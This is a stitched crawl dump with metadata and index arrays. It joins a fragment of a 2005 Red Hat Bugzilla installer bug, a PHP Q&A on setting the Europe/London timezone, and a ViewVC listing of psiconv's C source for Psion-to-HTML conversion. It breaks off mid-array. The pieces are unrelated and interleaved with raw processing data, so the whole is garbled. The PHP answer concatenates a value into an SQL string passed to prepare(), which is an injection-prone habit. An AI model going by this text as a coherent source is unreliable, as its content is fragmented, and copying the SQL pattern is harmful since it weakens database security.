Expected Results: normal installation
Additional info:
Comment 1 G.Wolfe Woodbury 2005-01-10 22:53:36 UTC
rawhide of 2005.01.09 works
Comment 2 Jeremy Katz 2005-01-10 23:00:34 UTC
Oops, forgot this had been filed when I fixed it. Thanks for
continuing testing.
Note You need to log in before you can comment on or make changes to this bug. | {
"url": "https://bugzilla.redhat.com/show_bug.cgi?id=143713",
"source_domain": "bugzilla.redhat.com",
"snapshot_id": "crawl=CC-MAIN-2018-51",
"warc_metadata": {
"Content-Length": "45628",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:IKQRT5WFHACPVHP72MS6PZ3APINFIQOK",
"WARC-Concurrent-To": "<urn:uuid:00821c7f-6abb-4f0e-8d1e-9561587cd9d3>",
"WARC-Date": "2018-12-15T10:37:21Z",
"WARC-IP-Address": "209.132.183.69",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:STAQKG4RYCECCRZLTIOBPOWSI64CQM3M",
"WARC-Record-ID": "<urn:uuid:924afb87-a4d7-4ed2-ae03-b79cf516339f>",
"WARC-Target-URI": "https://bugzilla.redhat.com/show_bug.cgi?id=143713",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:afe2b523-7c25-4add-9adb-03334b32eb63>"
},
"warc_info": "isPartOf: CC-MAIN-2018-51\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for December 2018\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-81-186-35.ec2.internal\r\nsoftware: Apache Nutch 1.15 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 0.11-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
57,
110,
133,
145,
161,
184,
222,
240,
257,
278,
285,
292,
314,
336,
360,
365,
377,
387,
399,
407,
438,
440,
491,
532,
546,
547,
565,
583,
593,
611,
621,
634,
671,
681,
697,
713,
732,
737,
756,
770,
786,
826,
847,
848,
849,
876,
877,
930,
952,
1041,
1042,
1066,
1238,
1239,
1301,
1321,
1322,
1340,
1347,
1348,
1368,
1421,
1429,
1432,
1435,
1436,
1521,
1522,
1561,
1562,
1579,
1580,
1631,
1659,
1660,
1706,
1768,
1788,
1789,
1790
],
"line_end_idx": [
57,
110,
133,
145,
161,
184,
222,
240,
257,
278,
285,
292,
314,
336,
360,
365,
377,
387,
399,
407,
438,
440,
491,
532,
546,
547,
565,
583,
593,
611,
621,
634,
671,
681,
697,
713,
732,
737,
756,
770,
786,
826,
847,
848,
849,
876,
877,
930,
952,
1041,
1042,
1066,
1238,
1239,
1301,
1321,
1322,
1340,
1347,
1348,
1368,
1421,
1429,
1432,
1435,
1436,
1521,
1522,
1561,
1562,
1579,
1580,
1631,
1659,
1660,
1706,
1768,
1788,
1789,
1790,
1868
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 1868,
"ccnet_original_nlines": 80,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.10109890252351761,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.05714286118745804,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.450549453496933,
"rps_doc_frac_unique_words": 0.7104247212409973,
"rps_doc_mean_word_length": 5.46718168258667,
"rps_doc_num_sentences": 22,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 5.0648980140686035,
"rps_doc_word_count": 259,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0.052259888499975204,
"rps_doc_frac_chars_dupe_6grams": 0.052259888499975204,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.029661020264029503,
"rps_doc_frac_chars_top_3gram": 0.03531073033809662,
"rps_doc_frac_chars_top_4gram": 0.0381355881690979,
"rps_doc_books_importance": -183.94862365722656,
"rps_doc_books_importance_length_correction": -183.92295837402344,
"rps_doc_openwebtext_importance": -118.66749572753906,
"rps_doc_openwebtext_importance_length_correction": -118.66749572753906,
"rps_doc_wikipedia_importance": -76.6431655883789,
"rps_doc_wikipedia_importance_length_correction": -76.64315032958984
},
"fasttext": {
"dclm": 0.0415949784219265,
"english": 0.7680630087852478,
"fineweb_edu_approx": 1.5916566848754883,
"eai_general_math": 0.0028589998837560415,
"eai_open_web_math": 0.29670244455337524,
"eai_web_code": 0.00036882999120280147
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.457",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "004.02",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computers and Computer science"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "2",
"label": "Understand"
},
"secondary": {
"code": "3",
"label": "Apply"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "1",
"label": "Factual"
},
"secondary": {
"code": "3",
"label": "Procedural"
}
},
"document_type_v1": {
"primary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"extraction_artifacts": {
"primary": {
"code": "0",
"label": "No Artifacts"
},
"secondary": {
"code": "3",
"label": "Irrelevant Content"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "8",
"label": "Documentation"
},
"secondary": {
"code": "21",
"label": "Customer Support"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "1",
"label": "No Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "4",
"label": "Highly Correct"
},
"secondary": {
"code": "3",
"label": "Mostly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-3,047,380,901,376,397,000 | bob jomes bob jomes - 1 year ago 84
PHP Question
Set timezone as Europe/London
I'm using PHP to insert a query into a database.
I am using
timestamp
for each query, however currently it is returning a time which is 7 hours behind my timezone (Europe/London).
How do I set the timezone as Europe/London when I insert it into a MYSQL database?
Answer Source
Try the code below:
(I have written the code in PDO as you did not specify which extension you were using.)
<?php
date_default_timezone_set('Europe/London');
$time_stamp = date('Y-m-d H:i:s');
$stmt = $con->prepare("INSERT INTO tablename (datetime) VALUES ('".$time_stamp."')");
$stmt->execute();
?>
Recommended from our users: Dynamic Network Monitoring from WhatsUp Gold from IPSwitch. Free Download | {
"url": "https://codedump.io/share/tS4oVt6uvFHZ/1/set-timezone-as-europelondon",
"source_domain": "codedump.io",
"snapshot_id": "crawl=CC-MAIN-2018-17",
"warc_metadata": {
"Content-Length": "40968",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:RR3BQ3EOBHRTLEZBFMTBMN3PQSBXNSSY",
"WARC-Concurrent-To": "<urn:uuid:18ec64b1-4c5d-4321-8d46-594547ffbd58>",
"WARC-Date": "2018-04-23T06:49:29Z",
"WARC-IP-Address": "50.112.74.85",
"WARC-Identified-Payload-Type": "text/html",
"WARC-Payload-Digest": "sha1:S2H35EIAP7NBCACNKMJIQVODPQOPC4SX",
"WARC-Record-ID": "<urn:uuid:b7374a0d-518b-4fe9-a7bd-a273576c6ea2>",
"WARC-Target-URI": "https://codedump.io/share/tS4oVt6uvFHZ/1/set-timezone-as-europelondon",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:263c14c7-dd19-4180-a24b-40728b286fd3>"
},
"warc_info": "robots: classic\r\nhostname: ip-10-167-183-93.ec2.internal\r\nsoftware: Nutch 1.6 (CC)\r\nisPartOf: CC-MAIN-2018-17\r\noperator: Common Crawl Admin\r\ndescription: Wide crawl of the web for April 2018\r\npublisher: Common Crawl\r\nformat: WARC File Format 1.0\r\nconformsTo: http://bibnum.bnf.fr/WARC/WARC_ISO_28500_version1_latestdraft.pdf"
} | {
"line_start_idx": [
0,
36,
49,
50,
80,
81,
130,
131,
142,
143,
153,
263,
264,
347,
348,
362,
363,
383,
384,
472,
473,
479,
525,
562,
650,
670,
673
],
"line_end_idx": [
36,
49,
50,
80,
81,
130,
131,
142,
143,
153,
263,
264,
347,
348,
362,
363,
383,
384,
472,
473,
479,
525,
562,
650,
670,
673,
774
]
} | {
"red_pajama_v2": {
"ccnet_original_length": 774,
"ccnet_original_nlines": 26,
"rps_doc_curly_bracket": 0,
"rps_doc_ldnoobw_words": 0,
"rps_doc_lorem_ipsum": 0,
"rps_doc_stop_word_fraction": 0.29518070816993713,
"rps_doc_ut1_blacklist": 0,
"rps_doc_frac_all_caps_words": 0.08433735370635986,
"rps_doc_frac_lines_end_with_ellipsis": 0,
"rps_doc_frac_no_alph_words": 0.2590361535549164,
"rps_doc_frac_unique_words": 0.6875,
"rps_doc_mean_word_length": 5.107142925262451,
"rps_doc_num_sentences": 9,
"rps_doc_symbol_to_word_ratio": 0,
"rps_doc_unigram_entropy": 4.218480110168457,
"rps_doc_word_count": 112,
"rps_doc_frac_chars_dupe_10grams": 0,
"rps_doc_frac_chars_dupe_5grams": 0,
"rps_doc_frac_chars_dupe_6grams": 0,
"rps_doc_frac_chars_dupe_7grams": 0,
"rps_doc_frac_chars_dupe_8grams": 0,
"rps_doc_frac_chars_dupe_9grams": 0,
"rps_doc_frac_chars_top_2gram": 0.027972029522061348,
"rps_doc_frac_chars_top_3gram": 0.07692307978868484,
"rps_doc_frac_chars_top_4gram": 0,
"rps_doc_books_importance": -73.79354095458984,
"rps_doc_books_importance_length_correction": -73.79354095458984,
"rps_doc_openwebtext_importance": -37.42647933959961,
"rps_doc_openwebtext_importance_length_correction": -37.426475524902344,
"rps_doc_wikipedia_importance": -20.33336067199707,
"rps_doc_wikipedia_importance_length_correction": -20.33336067199707
},
"fasttext": {
"dclm": 0.12469995021820068,
"english": 0.8367952108383179,
"fineweb_edu_approx": 1.7590062618255615,
"eai_general_math": 0.06420540809631348,
"eai_open_web_math": 0.49276208877563477,
"eai_web_code": 0.00002252999911434017
}
} | {
"free_decimal_correspondence": {
"primary": {
"code": "005.133",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
},
"secondary": {
"code": "005.758",
"labels": {
"level_1": "General works, books and libraries, information sciences",
"level_2": "",
"level_3": "Computer programming"
}
}
},
"bloom_cognitive_process": {
"primary": {
"code": "3",
"label": "Apply"
},
"secondary": {
"code": "2",
"label": "Understand"
}
},
"bloom_knowledge_domain": {
"primary": {
"code": "3",
"label": "Procedural"
},
"secondary": {
"code": "2",
"label": "Conceptual"
}
},
"document_type_v1": {
"primary": {
"code": "4",
"label": "Code/Software"
},
"secondary": {
"code": "3",
"label": "Reference/Encyclopedic/Educational"
}
},
"extraction_artifacts": {
"primary": {
"code": "3",
"label": "Irrelevant Content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"missing_content": {
"primary": {
"code": "0",
"label": "No missing content"
},
"secondary": {
"code": "-1",
"label": "Abstain"
}
},
"document_type_v2": {
"primary": {
"code": "18",
"label": "Q&A Forum"
},
"secondary": {
"code": "8",
"label": "Documentation"
}
},
"reasoning_depth": {
"primary": {
"code": "2",
"label": "Basic Reasoning"
},
"secondary": {
"code": "3",
"label": "Intermediate Reasoning"
}
},
"technical_correctness": {
"primary": {
"code": "3",
"label": "Mostly Correct"
},
"secondary": {
"code": "4",
"label": "Highly Correct"
}
},
"education_level": {
"primary": {
"code": "3",
"label": "Undergraduate Level"
},
"secondary": {
"code": "2",
"label": "High School Level"
}
}
} | e3c4dd7183f5f028f56d5a7988cc68c4 |
-2,862,655,866,956,745,000 | /[public]/psiconv/trunk/program/psiconv/gen_html.c
ViewVC logotype
Contents of /psiconv/trunk/program/psiconv/gen_html.c
Parent Directory Parent Directory | Revision Log Revision Log
Revision 142 - (show annotations)
Tue Jan 29 18:38:38 2002 UTC (17 years, 9 months ago) by frodo
File MIME type: text/plain
File size: 13417 byte(s)
(Frodo) DMALLOC support
1 /*
2 gen_html.c - Part of psiconv, a PSION 5 file formats converter
3 Copyright (c) 1999 Frodo Looijaard <[email protected]>
4
5 This program is free software; you can redistribute it and/or modify
6 it under the terms of the GNU General Public License as published by
7 the Free Software Foundation; either version 2 of the License, or
8 (at your option) any later version.
9
10 This program is distributed in the hope that it will be useful,
11 but WITHOUT ANY WARRANTY; without even the implied warranty of
12 MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
13 GNU General Public License for more details.
14
15 You should have received a copy of the GNU General Public License
16 along with this program; if not, write to the Free Software
17 Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
18 */
19
20 #include "config.h"
21 #include <stdio.h>
22 #include <string.h>
23 #include <stdlib.h>
24 #include "psiconv/data.h"
25 #include "psiconv/list.h"
26 #include "gen.h"
27 #include "psiconv.h"
28
29 #ifdef DMALLOC
30 #include "dmalloc.h"
31 #endif
32
33 /* This determines for each character how it is displayed */
34 static const char *char_table[0x100] =
35 {
36 /* 0x00 */ "" ,"" ,"" ,"" ,"" ,"" ,"<P> ","<BR>" ,
37 /* 0x08 */ "<P>" ," " ,"" ,"" ,"" ,"" ,"" ,"" ,
38 /* 0x10 */ " " ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,
39 /* 0x18 */ "" ,"" ,"" ,"" ,"" ,"" ,"" ,"" ,
40 /* 0x20 */ " " ,"!" ,""","#" ,"$" ,"%" ,"&","'" ,
41 /* 0x28 */ "(" ,")" ,"*" ,"+" ,"," ,"-" ,"." ,"/" ,
42 /* 0x30 */ "0" ,"1" ,"2" ,"3" ,"4" ,"5" ,"6" ,"7" ,
43 /* 0x38 */ "8" ,"9" ,":" ,";" ,"<" ,"=" ,">" ,"?" ,
44 /* 0x40 */ "@" ,"A" ,"B" ,"C" ,"D" ,"E" ,"F" ,"G" ,
45 /* 0x48 */ "H" ,"I" ,"J" ,"K" ,"L" ,"M" ,"N" ,"O" ,
46 /* 0x50 */ "P" ,"Q" ,"R" ,"S" ,"T" ,"U" ,"V" ,"W" ,
47 /* 0x58 */ "X" ,"Y" ,"Z" ,"[" ,"\\" ,"]" ,"^" ,"_" ,
48 /* 0x60 */ "`" ,"a" ,"b" ,"c" ,"d" ,"e" ,"f" ,"g" ,
49 /* 0x68 */ "h" ,"i" ,"j" ,"k" ,"l" ,"m" ,"n" ,"o" ,
50 /* 0x70 */ "p" ,"q" ,"r" ,"s" ,"t" ,"u" ,"v" ,"w" ,
51 /* 0x78 */ "x" ,"y" ,"z" ,"{" ,"|" ,"}" ,"~" ,"" ,
52 /* 0x80 */ "" ,"","&sbquot;","ƒ","„","…",
53 "†","‡",
54 /* 0x88 */ "^","‰","Š","⟨","Œ","" ,"" ,"" ,
55 /* 0x90 */ "","‘","’","“","”",
56 "·","&ndash","&mdash",
57 /* 0x98 */ "˜","™","š","⟩","œ","","","Ÿ",
58 /* 0xa0 */ "","¡","¢","£",
59 "¤","¥","¦","§",
60 /* 0xa8 */ ""","©","a","«","¬","-","®","¯on;",
61 /* 0xb0 */ "°","±","²","³",
62 "&rsquot;","µn;","¶","·",
63 /* 0xb8 */ ",","¹","°","»",
64 "¼","½","¾","¿",
65 /* 0xc0 */ "À","Á","Â","Ã",
66 "Ä","Å","Æ","Ç",
67 /* 0xc8 */ "È","É","Ê","Ë",
68 "Ì","Í","Î","Ï",
69 /* 0xd0 */ "Ð","Ñ","Ò","Ó",
70 "Ô","Õ","Ö","×",
71 /* 0xd8 */ "Ø","Ù","Ú","Û",
72 "Ü","Ý","Þ","ß",
73 /* 0xe0 */ "à","á","â","ã",
74 "ä","å","æ","ç",
75 /* 0xe8 */ "è","é","ê","ë",
76 "ì","í","î","ï",
77 /* 0xf0 */ "ð","ñ","ò","ó",
78 "ô","õ","ö","÷",
79 /* 0xf8 */ "ø","ù","ú","û",
80 "ü","ý","þ","ÿ"
81 };
82
83 static psiconv_character_layout gen_base_char(const psiconv_font font,
84 const psiconv_color color,
85 const psiconv_color back_color);
86 static void diff_char(FILE *of, const psiconv_character_layout old,
87 const psiconv_character_layout new, int *flags);
88 static void gen_para(FILE *of, const psiconv_paragraph para,
89 const psiconv_character_layout base_char);
90
91 static void psiconv_gen_html_word(FILE *of,psiconv_word_f wf);
92 static void psiconv_gen_html_texted(FILE *of,psiconv_texted_f tf);
93
94 /* This is not necessarily the same as returned by basic_character_layout_status
95 This one is specific for the base point of HTML */
96 psiconv_character_layout gen_base_char(const psiconv_font font,
97 const psiconv_color color,
98 const psiconv_color back_color)
99 {
100 struct psiconv_character_layout_s base_char_struct =
101 {
102 NULL, /* color */
103 NULL, /* back_color */
104 13.0, /* font_size */
105 psiconv_bool_false, /* italic */
106 psiconv_bool_false, /* bold */
107 psiconv_normalscript, /* super_sub */
108 psiconv_bool_false, /* underline */
109 psiconv_bool_false, /* strikethrough */
110 NULL, /* font */
111 };
112 base_char_struct.color = color;
113 base_char_struct.back_color = back_color;
114 base_char_struct.font = font;
115 return psiconv_clone_character_layout(&base_char_struct);
116 }
117
118 /* flags & 1: 0 if no <FONT> was yet generated.
119 flags & 2: 1 if at end-of-paragraph
120 */
121 void diff_char(FILE *of, const psiconv_character_layout old,
122 const psiconv_character_layout new,
123 int *flags)
124 {
125 int font_set = 0;
126
127 if ((old->font_size != new->font_size) ||
128 (old->color->red != new->color->red) ||
129 (old->color->green != new->color->green) ||
130 (old->color->blue != new->color->blue) ||
131 (strcmp(old->font->name,new->font->name)) ||
132 (old->font->screenfont != new->font->screenfont) ||
133 ((*flags & 0x03) == 3)) {
134 if (old->italic)
135 fputs("</I>",of);
136 if (old->bold)
137 fputs("</B>",of);
138 if (old->underline)
139 fputs("</U>",of);
140 if (old->strikethrough)
141 fputs("</STRIKE>",of);
142 if (old->super_sub == psiconv_superscript)
143 fputs("</SUP>",of);
144 if (old->super_sub == psiconv_subscript)
145 fputs("</SUB>",of);
146 if ((*flags & 1) == 1)
147 fputs("</FONT>",of);
148 if ((*flags & 2) == 0) {
149 *flags |= 1;
150 fputs("<FONT SIZE=",of);
151 if (new->font_size <= 8.0)
152 fputs("1",of);
153 else if (new->font_size <= 10.0)
154 fputs("2",of);
155 else if (new->font_size <= 12.0)
156 fputs("3",of);
157 else if (new->font_size <= 14.0)
158 fputs("4",of);
159 else if (new->font_size <= 18.0)
160 fputs("5",of);
161 else if (new->font_size <= 24.0)
162 fputs("6",of);
163 else
164 fputs("7",of);
165 fprintf(of," COLOR=#%02x%02x%02x",new->color->red,new->color->green,
166 new->color->blue);
167 if (new->font->screenfont == psiconv_font_sansserif)
168 fprintf(of," FACE=\"%s, Sans-Serif\">",new->font->name);
169 else if (new->font->screenfont == psiconv_font_nonprop)
170 fprintf(of," FACE=\"%s, Monospace\">",new->font-> name);
171 else if (new->font->screenfont == psiconv_font_serif)
172 fprintf(of," FACE=\"%s, Serif\">",new->font-> name);
173 else
174 fprintf(of," FACE=\"%s, Serif\">",new->font-> name);
175 }
176 if (new->italic)
177 fputs("<I>",of);
178 if (new->bold)
179 fputs("<B>",of);
180 if (new->underline)
181 fputs("<U>",of);
182 if (new->strikethrough)
183 fputs("<STRIKE>",of);
184 if (new->super_sub == psiconv_superscript)
185 fputs("<SUP>",of);
186 if (new->super_sub == psiconv_subscript)
187 fputs("<SUB>",of);
188 } else {
189 if (font_set || (old->italic != new->italic)) {
190 if (old->italic)
191 fputs("</I>",of);
192 else
193 fputs("<I>",of);
194 }
195 if (old->bold != new->bold) {
196 if (old->bold)
197 fputs("</B>",of);
198 else
199 fputs("<B>",of);
200 }
201 if (old->underline != new->underline) {
202 if (old->underline)
203 fputs("</U>",of);
204 else
205 fputs("<U>",of);
206 }
207 if (old->strikethrough != new->strikethrough) {
208 if (old->strikethrough)
209 fputs("</STRIKE>",of);
210 else
211 fputs("<STRIKE>",of);
212 }
213 if (old->super_sub != new->super_sub) {
214 if (old->super_sub == psiconv_superscript)
215 fputs("</SUP>",of);
216 else if (old->super_sub == psiconv_subscript)
217 fputs("</SUB>",of);
218 if (new->super_sub == psiconv_superscript)
219 fputs("<SUP>",of);
220 else if (new->super_sub == psiconv_subscript)
221 fputs("<SUB>",of);
222 }
223 }
224 }
225
226 void gen_para(FILE *of, const psiconv_paragraph para,
227 const psiconv_character_layout base_char)
228 {
229 int i,j,loc;
230 psiconv_character_layout cur_char;
231 psiconv_in_line_layout inl;
232 int flags = 0;
233
234
235 fputs("<P",of);
236 if (para->base_paragraph->justify_hor == psiconv_justify_left)
237 fputs(" ALIGN=left",of);
238 else if (para->base_paragraph->justify_hor == psiconv_justify_right)
239 fputs(" ALIGN=right",of);
240 else if (para->base_paragraph->justify_hor == psiconv_justify_centre)
241 fputs(" ALIGN=center",of);
242 else if (para->base_paragraph->justify_hor == psiconv_justify_full)
243 fputs(" ALIGN=left",of);
244 fputs(">",of);
245 if (para->base_paragraph->bullet->on)
246 fputs("<UL><LI>",of);
247
248 cur_char = base_char;
249
250 if (psiconv_list_length(para->in_lines) == 0) {
251 diff_char(of,cur_char,para->base_character,&flags);
252 cur_char = para->base_character;
253 }
254 loc = 0;
255
256 for (i = 0; i < psiconv_list_length(para->in_lines); i++) {
257 inl = psiconv_list_get(para->in_lines,i);
258 diff_char(of,cur_char,inl->layout,&flags);
259 cur_char = inl->layout;
260 for (j = loc; j < inl->length + loc; j ++) {
261 fputs(char_table[(unsigned char) (para->text[j])],of);
262 }
263 loc = j;
264 }
265
266 if (loc < strlen(para->text)) {
267 diff_char(of,cur_char,para->base_character,&flags);
268 cur_char = para->base_character;
269 for (j = loc; j < strlen(para->text); j ++) {
270 fputs(char_table[(unsigned char) (para->text[j])],of);
271 }
272 }
273
274 if (strlen(para->text) == 0)
275 fputs("<BR>",of);
276
277 flags |= 2;
278 diff_char(of,cur_char,base_char,&flags);
279
280 if (para->base_paragraph->bullet->on)
281 fputs("</UL>",of);
282
283 fputs("</P>\n",of);
284 }
285
286 int psiconv_gen_html(const char * filename,const psiconv_file file,
287 const char *dest)
288 {
289 FILE *of = fopen(filename,"w");
290 if (! of)
291 return -1;
292
293 if (file->type == psiconv_word_file) {
294 psiconv_gen_html_word(of,(psiconv_word_f) file->file);
295 } else if (file->type == psiconv_texted_file) {
296 psiconv_gen_html_texted(of,(psiconv_texted_f) file->file);
297 } else {
298 fclose(of);
299 return -1;
300 }
301 return fclose(of);
302 }
303
304 void psiconv_gen_html_texted(FILE *of,psiconv_texted_f tf)
305 {
306 psiconv_character_layout base_char;
307 psiconv_paragraph para;
308 int i;
309
310 /* We have nothing better */
311 base_char = psiconv_basic_character_layout();
312
313 fputs("<!doctype html public \"-//W3C//DTD HTML 3.2 Final//EN\">", of);
314 fputs("\n<HTML>\n<HEAD>\n <META NAME=\"GENERATOR\"", of);
315 fputs(" CONTENT=\"psiconv-" VERSION "\">\n", of);
316 fputs("<BODY>\n",of);
317 for (i = 0; i < psiconv_list_length(tf->texted_sec->paragraphs); i++) {
318 para = psiconv_list_get(tf->texted_sec->paragraphs,i);
319 gen_para(of,para,base_char);
320 }
321 fputs("</BODY>\n</HTML>\n",of);
322 psiconv_free_character_layout(base_char);
323 }
324
325
326 void psiconv_gen_html_word(FILE *of,psiconv_word_f wf)
327 {
328 int i;
329 psiconv_paragraph para;
330 psiconv_color white,black;
331 psiconv_character_layout base_char;
332
333 white = malloc(sizeof(*white));
334 black = malloc(sizeof(*black));
335 white->red = 0x00;
336 white->green = 0x00;
337 white->blue = 0x00;
338 black->red = 0xff;
339 black->green = 0xff;
340 black->blue = 0xff;
341
342 /* To keep from generating a font desc for each line */
343 base_char = gen_base_char(wf->styles_sec->normal->character->font,
344 black,white);
345
346 psiconv_free_color(black);
347 psiconv_free_color(white);
348
349 fputs("<!doctype html public \"-//W3C//DTD HTML 3.2 Final//EN\">", of);
350 fputs("\n<HTML>\n<HEAD>\n <META NAME=\"GENERATOR\"", of);
351 fputs(" CONTENT=\"psiconv-" VERSION "\">\n", of);
352 fputs("<BODY>\n",of);
353
354 for (i = 0; i < psiconv_list_length(wf->paragraphs); i++) {
355 para = psiconv_list_get(wf->paragraphs,i);
356 gen_para(of,para,base_char);
357 }
358 fputs("</BODY>\n</HTML>\n",of);
359 psiconv_free_character_layout(base_char);
360 }
361
362 static struct psiconv_fileformat_s ff =
363 {
364 "HTML3",
365 "HTML 3.2, not verified so probably not completely compliant",
366 &psiconv_gen_html
367 };
368
369 void init_html(void)
370 {
371 psiconv_list_add(fileformat_list,&ff);
372 }
[email protected]
ViewVC Help
Powered by ViewVC 1.1.26 | {
"url": "http://svn.frodo.looijaard.name/viewvc/cgi-bin/viewvc.cgi/public/psiconv/trunk/program/psiconv/gen_html.c?view=markup&pathrev=142",
"source_domain": "svn.frodo.looijaard.name",
"snapshot_id": "crawl=CC-MAIN-2019-47",
"warc_metadata": {
"Content-Length": "73652",
"Content-Type": "application/http; msgtype=response",
"WARC-Block-Digest": "sha1:Z73DGBWBJZ3KK4EWYWW6DDJEINQRFH77",
"WARC-Concurrent-To": "<urn:uuid:e17d0613-7917-474c-82ce-43250ee2c274>",
"WARC-Date": "2019-11-22T07:48:54Z",
"WARC-IP-Address": "80.100.2.252",
"WARC-Identified-Payload-Type": "application/xhtml+xml",
"WARC-Payload-Digest": "sha1:JPDTTQ32KYO7AUDY2MAP6AKL6XSKOBFG",
"WARC-Record-ID": "<urn:uuid:fb63c6d4-9fbb-4fcf-b563-d9c70e7a488c>",
"WARC-Target-URI": "http://svn.frodo.looijaard.name/viewvc/cgi-bin/viewvc.cgi/public/psiconv/trunk/program/psiconv/gen_html.c?view=markup&pathrev=142",
"WARC-Truncated": null,
"WARC-Type": "response",
"WARC-Warcinfo-ID": "<urn:uuid:0a4fc15b-f629-4821-bb64-a795992445b5>"
},
"warc_info": "isPartOf: CC-MAIN-2019-47\r\npublisher: Common Crawl\r\ndescription: Wide crawl of the web for November 2019\r\noperator: Common Crawl Admin ([email protected])\r\nhostname: ip-10-67-67-116.ec2.internal\r\nsoftware: Apache Nutch 1.16 (modified, https://github.com/commoncrawl/nutch/)\r\nrobots: checked via crawler-commons 1.1-SNAPSHOT (https://github.com/crawler-commons/crawler-commons)\r\nformat: WARC File Format 1.1\r\nconformsTo: http://iipc.github.io/warc-specifications/specifications/warc-format/warc-1.1/"
} | {
"line_start_idx": [
0,
51,
67,
68,
122,
123,
185,
186,
187,
221,
284,
311,
336,
360,
361,
366,
431,
484,
486,
557,
628,
696,
734,
736,
803,
869,
933,
981,
984,
1053,
1116,
1177,
1183,
1186,
1209,
1231,
1254,
1277,
1306,
1335,
1355,
1379,
1382,
1400,
1424,
1434,
1437,
1501,
1543,
1548,
1602,
1653,
1701,
1748,
1810,
1865,
1920,
1981,
2036,
2091,
2146,
2202,
2257,
2312,
2367,
2421,
2484,
2510,
2582,
2640,
2673,
2753,
2800,
2842,
2920,
2972,
3018,
3069,
3117,
3175,
3219,
3275,
3320,
3376,
3420,
3478,
3522,
3580,
3624,
3680,
3725,
3781,
3826,
3884,
3926,
3932,
3935,
4009,
4039,
4075,
4146,
4198,
4262,
4308,
4311,
4377,
4447,
4450,
4534,
4588,
4655,
4685,
4720,
4725,
4782,
4788,
4810,
4837,
4863,
4900,
4935,
4977,
5017,
5061,
5082,
5089,
5125,
5171,
5205,
5267,
5273,
5277,
5329,
5369,
5376,
5441,
5481,
5497,
5503,
5525,
5529,
5575,
5619,
5667,
5713,
5762,
5818,
5848,
5869,
5891,
5910,
5932,
5956,
5978,
6006,
6033,
6080,
6104,
6149,
6173,
6200,
6225,
6254,
6271,
6300,
6331,
6350,
6387,
6406,
6443,
6462,
6499,
6518,
6555,
6574,
6611,
6630,
6639,
6658,
6731,
6754,
6811,
6872,
6932,
6993,
7051,
7108,
7117,
7174,
7180,
7201,
7222,
7241,
7262,
7286,
7307,
7335,
7361,
7408,
7431,
7476,
7499,
7512,
7564,
7585,
7607,
7616,
7637,
7643,
7677,
7696,
7718,
7727,
7748,
7754,
7798,
7822,
7844,
7853,
7874,
7880,
7932,
7960,
7987,
7996,
8022,
8028,
8072,
8119,
8143,
8193,
8217,
8264,
8287,
8337,
8360,
8366,
8372,
8378,
8382,
8440,
8486,
8492,
8509,
8548,
8580,
8599,
8603,
8607,
8627,
8694,
8723,
8796,
8826,
8900,
8931,
9003,
9032,
9051,
9093,
9119,
9123,
9149,
9153,
9205,
9261,
9298,
9304,
9317,
9321,
9385,
9431,
9478,
9506,
9555,
9614,
9620,
9633,
9639,
9643,
9679,
9735,
9772,
9822,
9881,
9887,
9893,
9897,
9930,
9952,
9956,
9972,
10017,
10021,
10063,
10086,
10090,
10114,
10120,
10124,
10196,
10218,
10224,
10260,
10274,
10289,
10293,
10336,
10395,
10447,
10510,
10523,
10539,
10554,
10560,
10583,
10589,
10593,
10656,
10662,
10702,
10730,
10741,
10745,
10778,
10828,
10832,
10908,
10970,
11024,
11050,
11126,
11185,
11218,
11224,
11260,
11306,
11312,
11316,
11320,
11379,
11385,
11396,
11424,
11455,
11495,
11499,
11535,
11571,
11594,
11619,
11643,
11666,
11691,
11715,
11719,
11779,
11850,
11868,
11872,
11903,
11934,
11938,
12014,
12076,
12130,
12156,
12160,
12224,
12271,
12304,
12310,
12346,
12392,
12398,
12402,
